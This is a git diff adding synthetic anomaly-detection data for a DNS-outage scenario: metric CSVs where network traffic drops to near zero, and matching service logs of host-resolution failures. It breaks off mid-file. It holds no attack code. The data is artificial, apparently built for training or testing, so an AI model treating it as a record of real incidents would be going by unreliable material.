09 12:07:25 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known diff --git a/anom_dataset/scenario_9/anom_9_13.csv b/anom_dataset/scenario_9/anom_9_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..d962f4ce8303742663eb55d77d00477ff09924d4 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,9.18,36.98,31.27,1.11,1.05 +2025-07-09T10:00:05Z,16.15,44.07,30.61,1.17,0.87 +2025-07-09T10:00:10Z,15.99,39.96,35.45,1.22,0.9 +2025-07-09T10:00:15Z,12.23,37.67,35.09,1.74,0.97 +2025-07-09T10:00:20Z,11.86,32.1,38.38,1.52,0.51 +2025-07-09T10:00:25Z,16.2,52.7,26.7,1.48,0.64 +2025-07-09T10:00:30Z,17.32,48.91,25.8,1.13,1.16 +2025-07-09T10:00:35Z,11.99,48.05,32.69,1.19,0.52 +2025-07-09T10:00:40Z,15.49,45.99,22.03,1.06,0.76 +2025-07-09T10:00:45Z,15.38,33.96,37.14,1.42,0.92 +2025-07-09T10:00:50Z,23.19,39.72,34.63,1.5,0.75 +2025-07-09T10:00:55Z,11.13,37.56,18.32,0.94,1.08 +2025-07-09T10:01:00Z,12.22,32.06,42.25,0.76,1.1 +2025-07-09T10:01:05Z,12.95,43.82,31.89,1.4,1.14 +2025-07-09T10:01:10Z,18.54,46.15,37.27,0.95,0.68 +2025-07-09T10:01:15Z,13.31,35.4,21.13,0.9,0.71 +2025-07-09T10:01:20Z,17.07,36.33,28.75,1.37,0.91 +2025-07-09T10:01:25Z,19.34,41.64,26.89,1.45,1.1 +2025-07-09T10:01:30Z,16.51,34.73,38.15,1.56,0.91 +2025-07-09T10:01:35Z,18.36,35.86,39.86,1.5,0.66 +2025-07-09T10:01:40Z,13.75,37.27,29.23,0.58,0.8 +2025-07-09T10:01:45Z,9.73,40.02,26.37,1.39,1.11 +2025-07-09T10:01:50Z,15.43,44.84,32.08,1.36,0.79 +2025-07-09T10:01:55Z,14.29,40.79,39.88,1.25,1.03 +2025-07-09T10:02:00Z,20.12,47.7,45.34,1.15,0.99 +2025-07-09T10:02:05Z,17.06,41.63,29.75,1.29,0.75 +2025-07-09T10:02:10Z,14.87,41.92,31.83,2.04,0.86 +2025-07-09T10:02:15Z,19.17,41.55,28.64,1.59,1.05 +2025-07-09T10:02:20Z,13.69,44.83,30.62,1.18,0.8 +2025-07-09T10:02:25Z,17.32,51.29,20.86,1.3,0.55 +2025-07-09T10:02:30Z,15.5,45.36,33.93,0.05,0.03 +2025-07-09T10:02:35Z,16.06,33.45,30.69,0.02,0.02 +2025-07-09T10:02:40Z,13.21,42.78,45.56,0.01,0.03 +2025-07-09T10:02:45Z,13.94,37.42,30.72,0.0,0.02 +2025-07-09T10:02:50Z,13.79,39.79,33.58,0.02,0.03 +2025-07-09T10:02:55Z,14.55,36.31,27.89,0.05,0.02 +2025-07-09T10:03:00Z,9.39,39.55,22.32,0.0,0.02 +2025-07-09T10:03:05Z,13.84,44.25,33.58,0.03,0.0 +2025-07-09T10:03:10Z,17.85,44.87,27.3,0.05,0.0 +2025-07-09T10:03:15Z,23.94,41.62,25.55,0.01,0.03 +2025-07-09T10:03:20Z,19.84,45.63,21.72,0.05,0.04 +2025-07-09T10:03:25Z,11.82,49.0,31.34,0.05,0.03 +2025-07-09T10:03:30Z,15.74,38.99,27.38,0.05,0.01 +2025-07-09T10:03:35Z,13.85,50.99,17.71,0.04,0.01 +2025-07-09T10:03:40Z,17.18,40.58,36.81,0.02,0.01 +2025-07-09T10:03:45Z,17.24,31.75,13.83,0.03,0.01 +2025-07-09T10:03:50Z,15.83,39.56,21.79,0.04,0.03 +2025-07-09T10:03:55Z,14.86,43.71,29.27,0.03,0.04 +2025-07-09T10:04:00Z,13.81,31.81,5.55,0.04,0.0 +2025-07-09T10:04:05Z,17.06,42.43,23.47,0.04,0.04 +2025-07-09T10:04:10Z,18.88,45.08,11.19,0.01,0.03 +2025-07-09T10:04:15Z,15.46,48.16,25.4,0.02,0.0 +2025-07-09T10:04:20Z,16.47,35.5,31.95,0.04,0.02 +2025-07-09T10:04:25Z,11.51,36.46,23.54,0.02,0.02 +2025-07-09T10:04:30Z,14.7,40.87,43.29,0.02,0.04 +2025-07-09T10:04:35Z,13.79,40.51,43.84,0.05,0.04 +2025-07-09T10:04:40Z,14.55,31.98,38.67,0.03,0.0 +2025-07-09T10:04:45Z,15.99,39.36,18.1,0.01,0.02 +2025-07-09T10:04:50Z,13.88,42.86,22.95,0.04,0.01 +2025-07-09T10:04:55Z,16.62,29.8,40.63,0.02,0.02 +2025-07-09T10:05:00Z,15.59,45.0,24.23,1.35,1.18 +2025-07-09T10:05:05Z,13.96,45.87,42.12,1.4,1.17 +2025-07-09T10:05:10Z,12.7,35.32,8.81,1.15,0.83 +2025-07-09T10:05:15Z,17.33,36.04,30.0,1.41,0.87 +2025-07-09T10:05:20Z,19.2,38.31,35.09,0.98,0.95 +2025-07-09T10:05:25Z,15.65,33.23,32.23,1.36,0.83 +2025-07-09T10:05:30Z,13.18,42.45,23.78,1.3,0.73 +2025-07-09T10:05:35Z,13.38,40.49,38.52,0.91,0.75 +2025-07-09T10:05:40Z,11.49,44.72,41.69,0.97,0.95 +2025-07-09T10:05:45Z,11.5,41.51,26.23,1.58,0.87 +2025-07-09T10:05:50Z,13.69,30.02,35.77,1.27,0.59 +2025-07-09T10:05:55Z,18.98,42.12,26.84,1.4,1.15 +2025-07-09T10:06:00Z,15.97,36.23,37.52,0.72,0.67 +2025-07-09T10:06:05Z,11.81,47.02,27.53,1.15,1.5 +2025-07-09T10:06:10Z,16.71,46.44,22.71,1.04,0.72 +2025-07-09T10:06:15Z,15.48,40.95,22.78,1.2,1.14 +2025-07-09T10:06:20Z,18.04,42.25,47.24,1.29,1.16 +2025-07-09T10:06:25Z,13.27,45.77,41.93,1.38,0.76 +2025-07-09T10:06:30Z,13.5,38.44,25.56,1.21,1.02 +2025-07-09T10:06:35Z,14.75,54.41,29.83,1.07,0.98 +2025-07-09T10:06:40Z,9.76,41.12,8.92,0.77,0.71 +2025-07-09T10:06:45Z,14.66,42.77,39.47,0.86,0.85 +2025-07-09T10:06:50Z,17.85,38.75,26.31,1.26,1.09 +2025-07-09T10:06:55Z,17.79,43.39,27.94,0.88,0.94 +2025-07-09T10:07:00Z,15.51,34.83,40.01,0.89,0.92 +2025-07-09T10:07:05Z,15.83,41.28,39.6,1.08,1.06 +2025-07-09T10:07:10Z,12.38,36.87,39.63,1.12,1.1 +2025-07-09T10:07:15Z,14.48,41.0,35.57,1.25,0.63 +2025-07-09T10:07:20Z,12.99,41.55,35.35,1.53,0.89 +2025-07-09T10:07:25Z,14.99,39.88,23.91,0.78,1.42 diff --git a/anom_dataset/scenario_9/anom_9_13.log b/anom_dataset/scenario_9/anom_9_13.log new file mode 100644 index 0000000000000000000000000000000000000000..e606c2dd175879585a0f26adc6c5379fb59683a8 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_13.log @@ -0,0 +1,37 @@ +Jul 09 10:00:00 api-server[1234]: GET /api/v1/health status=200 OK +Jul 09 10:00:00 systemd[1]: Starting daily backup activities... +Jul 09 10:00:00 CRON[4567]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 09 10:00:30 api-server[1234]: GET /api/v1/health status=200 OK +Jul 09 10:01:00 api-server[1234]: GET /api/v1/health status=200 OK +Jul 09 10:01:30 api-server[1234]: GET /api/v1/health status=200 OK +Jul 09 10:01:30 systemd[1]: Starting daily backup activities... +Jul 09 10:02:00 api-server[1234]: GET /api/v1/health status=200 OK +Jul 09 10:02:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 09 10:02:30 WARN api-server[1234]: Host not found for external service: data.partner.io +Jul 09 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod api-server +Jul 09 10:02:40 ERROR payment-gateway[5678]: Failed to resolve upstream host: api.stripe.com +Jul 09 10:02:50 ERROR payment-gateway[5678]: Failed to resolve upstream host: api.stripe.com +Jul 09 10:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod api-server +Jul 09 10:03:00 ERROR payment-gateway[5678]: Failed to resolve upstream host: api.stripe.com +Jul 09 10:03:10 ERROR payment-gateway[5678]: Failed to resolve upstream host: api.stripe.com +Jul 09 10:03:20 WARN api-server[1234]: Host not found for external service: data.partner.io +Jul 09 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod api-server +Jul 09 10:03:30 WARN api-server[1234]: Host not found for external service: data.partner.io +Jul 09 10:03:40 ERROR payment-gateway[5678]: Failed to resolve upstream host: api.stripe.com +Jul 09 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod api-server +Jul 09 10:03:50 ERROR payment-gateway[5678]: Failed to resolve upstream host: api.stripe.com +Jul 09 10:04:00 WARN api-server[1234]: Host not found for external service: data.partner.io +Jul 09 10:04:10 ERROR app-worker[3456]: Connection failed to redis.cache.internal: java.net.UnknownHostException: redis.cache.internal: Name or service not known +Jul 09 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod api-server +Jul 09 10:04:20 WARN api-server[1234]: Host not found for external service: data.partner.io +Jul 09 10:04:30 ERROR app-worker[3456]: Connection failed to redis.cache.internal: java.net.UnknownHostException: redis.cache.internal: Name or service not known +Jul 09 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod api-server +Jul 09 10:04:40 ERROR payment-gateway[5678]: Failed to resolve upstream host: api.stripe.com +Jul 09 10:04:50 ERROR app-worker[3456]: Connection failed to redis.cache.internal: java.net.UnknownHostException: redis.cache.internal: Name or service not known +Jul 09 10:05:00 api-server[1234]: GET /api/v1/health status=200 OK +Jul 09 10:05:30 api-server[1234]: GET /api/v1/health status=200 OK +Jul 09 10:06:00 api-server[1234]: GET /api/v1/health status=200 OK +Jul 09 10:06:00 systemd[1]: Starting daily backup activities... +Jul 09 10:06:15 CRON[4567]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 09 10:06:30 api-server[1234]: GET /api/v1/health status=200 OK +Jul 09 10:07:00 api-server[1234]: GET /api/v1/health status=200 OK diff --git a/anom_dataset/scenario_9/anom_9_15.csv b/anom_dataset/scenario_9/anom_9_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..6aeb35feefcca19c69c114c3a545f1e8828e7389 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T14:00:00Z,15.0,46.61,24.82,1.61,1.31 +2025-07-09T14:00:05Z,14.42,44.98,29.33,1.31,1.04 +2025-07-09T14:00:10Z,12.77,47.77,31.92,1.7,0.75 +2025-07-09T14:00:15Z,14.97,45.14,31.77,1.54,1.58 +2025-07-09T14:00:20Z,14.24,45.43,31.71,2.03,0.88 +2025-07-09T14:00:25Z,14.04,40.04,27.01,1.74,1.25 +2025-07-09T14:00:30Z,11.97,49.1,29.06,1.64,0.89 +2025-07-09T14:00:35Z,14.02,45.08,33.5,1.55,1.28 +2025-07-09T14:00:40Z,14.52,43.81,23.37,1.39,1.55 +2025-07-09T14:00:45Z,13.7,48.85,34.69,1.79,1.3 +2025-07-09T14:00:50Z,16.27,46.68,27.75,1.33,1.01 +2025-07-09T14:00:55Z,18.48,45.72,34.66,1.73,1.16 +2025-07-09T14:01:00Z,15.59,46.44,20.97,1.49,1.31 +2025-07-09T14:01:05Z,16.42,45.19,32.15,1.55,0.76 +2025-07-09T14:01:10Z,18.65,41.79,27.16,2.11,1.36 +2025-07-09T14:01:15Z,15.86,41.18,35.35,1.72,1.24 +2025-07-09T14:01:20Z,18.09,47.76,29.39,1.73,1.11 +2025-07-09T14:01:25Z,13.2,48.16,24.84,1.38,1.37 +2025-07-09T14:01:30Z,14.73,46.62,34.18,1.51,1.36 +2025-07-09T14:01:35Z,17.6,45.93,25.74,1.56,1.21 +2025-07-09T14:01:40Z,16.35,47.91,24.08,1.28,1.14 +2025-07-09T14:01:45Z,15.06,48.46,24.85,1.22,1.03 +2025-07-09T14:01:50Z,16.84,46.27,25.43,1.57,1.32 +2025-07-09T14:01:55Z,15.76,48.0,25.88,1.89,1.68 +2025-07-09T14:02:00Z,16.03,47.65,26.31,1.15,1.37 +2025-07-09T14:02:05Z,14.29,43.41,34.29,1.54,1.42 +2025-07-09T14:02:10Z,15.42,47.44,34.74,1.29,0.82 +2025-07-09T14:02:15Z,15.66,41.94,35.98,1.64,0.74 +2025-07-09T14:02:20Z,14.0,38.23,39.49,1.6,1.4 +2025-07-09T14:02:25Z,10.82,47.04,32.62,1.12,1.02 +2025-07-09T14:02:30Z,14.83,43.79,29.3,0.03,0.03 +2025-07-09T14:02:35Z,19.91,50.82,23.54,0.01,0.03 +2025-07-09T14:02:40Z,9.66,41.27,27.63,0.04,0.01 +2025-07-09T14:02:45Z,13.17,47.82,29.97,0.0,0.0 +2025-07-09T14:02:50Z,14.55,44.28,36.54,0.04,0.05 +2025-07-09T14:02:55Z,15.54,45.81,26.74,0.02,0.05 +2025-07-09T14:03:00Z,17.26,41.71,38.01,0.02,0.02 +2025-07-09T14:03:05Z,17.08,52.2,37.82,0.01,0.02 +2025-07-09T14:03:10Z,17.61,44.16,28.71,0.03,0.01 +2025-07-09T14:03:15Z,17.78,51.09,28.2,0.03,0.01 +2025-07-09T14:03:20Z,13.69,44.75,30.05,0.03,0.02 +2025-07-09T14:03:25Z,14.89,41.34,26.05,0.04,0.03 +2025-07-09T14:03:30Z,14.0,42.58,24.48,0.02,0.02 +2025-07-09T14:03:35Z,15.87,48.95,27.18,0.05,0.03 +2025-07-09T14:03:40Z,14.25,43.26,32.41,0.05,0.03 +2025-07-09T14:03:45Z,13.15,45.25,18.58,0.01,0.03 +2025-07-09T14:03:50Z,18.83,49.19,33.47,0.03,0.03 +2025-07-09T14:03:55Z,14.7,48.25,38.12,0.03,0.0 +2025-07-09T14:04:00Z,13.72,41.95,36.15,0.0,0.03 +2025-07-09T14:04:05Z,16.65,44.12,38.25,0.01,0.03 +2025-07-09T14:04:10Z,12.58,49.68,22.57,0.04,0.05 +2025-07-09T14:04:15Z,13.99,43.36,24.62,0.02,0.02 +2025-07-09T14:04:20Z,13.6,47.88,37.92,0.04,0.03 +2025-07-09T14:04:25Z,11.05,45.63,31.94,0.05,0.02 +2025-07-09T14:04:30Z,9.69,41.26,36.38,0.03,0.01 +2025-07-09T14:04:35Z,14.88,45.91,31.05,0.0,0.01 +2025-07-09T14:04:40Z,13.69,43.2,33.1,0.01,0.0 +2025-07-09T14:04:45Z,13.68,45.37,24.99,0.03,0.01 +2025-07-09T14:04:50Z,16.54,42.63,27.34,0.04,0.02 +2025-07-09T14:04:55Z,13.2,46.93,34.68,0.0,0.0 +2025-07-09T14:05:00Z,18.39,44.82,30.9,1.38,1.38 +2025-07-09T14:05:05Z,11.61,47.74,29.81,1.7,1.14 +2025-07-09T14:05:10Z,9.41,41.73,34.21,2.01,1.34 +2025-07-09T14:05:15Z,14.55,44.48,25.93,1.09,1.37 +2025-07-09T14:05:20Z,15.79,48.2,21.64,2.46,1.12 +2025-07-09T14:05:25Z,18.32,48.71,25.75,1.36,1.47 +2025-07-09T14:05:30Z,14.01,48.06,28.59,1.45,1.27 +2025-07-09T14:05:35Z,14.25,47.58,37.6,1.68,0.64 +2025-07-09T14:05:40Z,14.66,42.8,25.2,1.08,0.9 +2025-07-09T14:05:45Z,19.83,46.32,33.63,1.53,0.95 +2025-07-09T14:05:50Z,11.38,46.94,32.78,1.51,1.15 +2025-07-09T14:05:55Z,15.68,45.79,34.15,1.34,1.04 +2025-07-09T14:06:00Z,14.95,47.12,37.34,1.59,1.34 +2025-07-09T14:06:05Z,13.08,43.69,29.98,1.3,1.01 +2025-07-09T14:06:10Z,14.23,47.38,35.29,1.51,1.45 +2025-07-09T14:06:15Z,15.22,44.22,25.08,1.03,1.32 +2025-07-09T14:06:20Z,13.29,42.48,35.43,1.67,0.71 +2025-07-09T14:06:25Z,15.0,40.56,31.83,1.78,1.16 +2025-07-09T14:06:30Z,16.33,48.32,24.54,2.04,0.99 +2025-07-09T14:06:35Z,16.5,41.41,18.82,1.28,1.38 +2025-07-09T14:06:40Z,14.07,41.92,29.38,1.68,1.65 +2025-07-09T14:06:45Z,14.45,40.29,29.11,1.42,0.77 +2025-07-09T14:06:50Z,15.07,51.13,41.08,1.78,1.11 +2025-07-09T14:06:55Z,16.7,50.67,41.26,1.04,1.88 +2025-07-09T14:07:00Z,15.33,42.6,24.97,1.31,0.84 +2025-07-09T14:07:05Z,17.42,39.53,35.02,1.48,1.37 +2025-07-09T14:07:10Z,16.01,42.67,29.38,1.98,0.61 +2025-07-09T14:07:15Z,11.83,43.06,29.24,0.99,1.14 +2025-07-09T14:07:20Z,17.05,43.54,23.49,1.72,1.08 +2025-07-09T14:07:25Z,13.69,46.13,28.63,1.49,0.81 diff --git a/anom_dataset/scenario_9/anom_9_15.log b/anom_dataset/scenario_9/anom_9_15.log new file mode 100644 index 0000000000000000000000000000000000000000..89e010260908d2148419c0d7aedac3ed09e812a7 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_15.log @@ -0,0 +1,101 @@ +Jul 09 14:00:00 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:00:05 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:00:15 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:00:20 systemd[1]: Starting daily clean up activities... +Jul 09 14:00:25 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:00:40 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:00:45 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:00:50 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:00:55 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:01:00 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:01:05 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:01:10 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:01:15 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:01:20 kernel: [11234.567890] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 09 14:01:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 09 14:01:35 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:01:40 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:01:45 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:01:50 systemd[1]: Starting daily clean up activities... +Jul 09 14:01:55 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:02:00 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:02:05 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:02:10 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:02:15 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:02:20 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:02:25 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:02:30 payment-service[4567]: CRITICAL: DNS resolution failed for 'third-party-validator.com': Name or service not known +Jul 09 14:02:35 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:02:40 api-gateway[1122]: ERROR: Failed to connect to upstream service 'user-db.internal': Host not found +Jul 09 14:02:45 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:02:50 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:02:55 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:03:00 api-gateway[1122]: ERROR: Failed to connect to upstream service 'user-db.internal': Host not found +Jul 09 14:03:05 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:03:10 api-gateway[1122]: ERROR: Failed to connect to upstream service 'user-db.internal': Host not found +Jul 09 14:03:15 api-gateway[1122]: ERROR: Failed to connect to upstream service 'user-db.internal': Host not found +Jul 09 14:03:20 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:03:25 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:03:25 kernel: [11234.567890] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 09 14:03:30 payment-service[4567]: CRITICAL: DNS resolution failed for 'third-party-validator.com': Name or service not known +Jul 09 14:03:40 api-gateway[1122]: ERROR: Failed to connect to upstream service 'user-db.internal': Host not found +Jul 09 14:03:45 payment-service[4567]: CRITICAL: DNS resolution failed for 'third-party-validator.com': Name or service not known +Jul 09 14:03:50 payment-service[4567]: CRITICAL: DNS resolution failed for 'third-party-validator.com': Name or service not known +Jul 09 14:03:55 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:03:55 kernel: [11234.567890] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 09 14:04:00 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:04:05 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:04:20 payment-service[4567]: CRITICAL: DNS resolution failed for 'third-party-validator.com': Name or service not known +Jul 09 14:04:25 payment-service[4567]: CRITICAL: DNS resolution failed for 'third-party-validator.com': Name or service not known +Jul 09 14:04:30 api-gateway[1122]: ERROR: Failed to connect to upstream service 'user-db.internal': Host not found +Jul 09 14:04:35 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:04:40 api-gateway[1122]: ERROR: Failed to connect to upstream service 'user-db.internal': Host not found +Jul 09 14:04:45 api-gateway[1122]: ERROR: Failed to connect to upstream service 'user-db.internal': Host not found +Jul 09 14:04:50 payment-service[4567]: CRITICAL: DNS resolution failed for 'third-party-validator.com': Name or service not known +Jul 09 14:04:55 user-service[3456]: WARN: Could not resolve 'external-analytics-api.com', disabling analytics reporting. Error: Unknown host +Jul 09 14:04:55 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:05:00 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:05:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 09 14:05:05 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:05:10 systemd[1]: Starting daily clean up activities... +Jul 09 14:05:15 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:05:20 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:05:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 09 14:05:25 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:05:30 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:05:35 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:05:40 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:05:45 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:05:45 kernel: [11234.567890] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 09 14:05:50 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:05:55 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:06:00 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:06:05 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:06:10 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:06:10 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:06:15 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:06:15 kernel: [11234.567890] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 09 14:06:20 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:06:25 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:06:30 systemd[1]: Starting daily clean up activities... +Jul 09 14:06:35 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:06:40 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:06:45 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:06:50 user-service[3456]: GET /api/v1/users/profile status=200 OK +Jul 09 14:06:55 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:06:55 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 09 14:07:00 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:07:00 kernel: [11234.567890] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 09 14:07:05 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:07:05 systemd[1]: Starting daily clean up activities... +Jul 09 14:07:10 payment-service[4567]: INFO: Processed payment for user_id=843, amount=99.99 +Jul 09 14:07:15 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:07:20 api-gateway[1122]: POST /v1/login - 200 75ms +Jul 09 14:07:25 user-service[3456]: GET /api/v1/users/profile status=200 OK diff --git a/anom_dataset/scenario_9/anom_9_16.csv b/anom_dataset/scenario_9/anom_9_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..d8ab7c06c44ce07c49ead6ab3338af2f75c73189 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,20.36,43.22,35.01,1.05,1.28 +2025-07-09T10:00:05Z,18.15,43.21,38.54,1.19,0.94 +2025-07-09T10:00:10Z,16.3,47.92,29.59,1.44,1.03 +2025-07-09T10:00:15Z,21.32,44.04,24.78,1.49,0.85 +2025-07-09T10:00:20Z,21.31,41.49,26.87,1.13,0.92 +2025-07-09T10:00:25Z,16.59,46.07,30.88,0.88,0.97 +2025-07-09T10:00:30Z,17.35,46.25,34.2,1.14,0.97 +2025-07-09T10:00:35Z,22.05,49.41,33.58,1.12,1.04 +2025-07-09T10:00:40Z,23.03,43.24,25.56,1.13,0.96 +2025-07-09T10:00:45Z,23.91,48.09,24.75,1.07,1.28 +2025-07-09T10:00:50Z,19.78,44.22,24.04,0.87,0.81 +2025-07-09T10:00:55Z,20.46,40.37,28.51,1.23,1.26 +2025-07-09T10:01:00Z,23.64,42.63,31.85,1.21,0.71 +2025-07-09T10:01:05Z,15.9,49.87,39.21,1.21,1.08 +2025-07-09T10:01:10Z,17.87,44.85,32.38,1.03,1.15 +2025-07-09T10:01:15Z,17.11,42.68,37.45,1.24,0.84 +2025-07-09T10:01:20Z,18.6,47.25,30.73,1.3,0.88 +2025-07-09T10:01:25Z,22.94,47.3,26.54,1.05,1.1 +2025-07-09T10:01:30Z,22.37,40.74,34.67,1.31,0.81 +2025-07-09T10:01:35Z,21.13,49.23,27.49,1.08,1.08 +2025-07-09T10:01:40Z,23.13,49.16,30.95,1.47,0.98 +2025-07-09T10:01:45Z,21.41,47.54,36.47,0.99,0.83 +2025-07-09T10:01:50Z,17.84,44.21,36.35,1.15,1.05 +2025-07-09T10:01:55Z,19.49,40.98,32.48,1.09,0.91 +2025-07-09T10:02:00Z,15.8,44.97,39.43,1.27,1.05 +2025-07-09T10:02:05Z,22.54,40.53,26.22,1.43,1.16 +2025-07-09T10:02:10Z,20.8,48.1,20.28,0.81,1.25 +2025-07-09T10:02:15Z,21.99,42.7,32.86,1.0,0.97 +2025-07-09T10:02:20Z,23.08,40.27,31.22,1.33,0.87 +2025-07-09T10:02:25Z,19.9,44.92,29.87,1.02,1.19 +2025-07-09T10:02:30Z,23.57,45.45,38.48,0.02,0.03 +2025-07-09T10:02:35Z,17.98,44.72,33.43,0.01,0.04 +2025-07-09T10:02:40Z,24.36,45.79,38.24,0.0,0.01 +2025-07-09T10:02:45Z,22.03,45.88,26.97,0.01,0.03 +2025-07-09T10:02:50Z,17.75,43.28,31.82,0.04,0.03 +2025-07-09T10:02:55Z,16.18,46.71,22.69,0.03,0.04 +2025-07-09T10:03:00Z,18.34,40.32,32.74,0.01,0.03 +2025-07-09T10:03:05Z,15.52,44.47,21.45,0.03,0.04 +2025-07-09T10:03:10Z,19.59,46.0,29.23,0.05,0.05 +2025-07-09T10:03:15Z,18.03,42.93,39.73,0.05,0.04 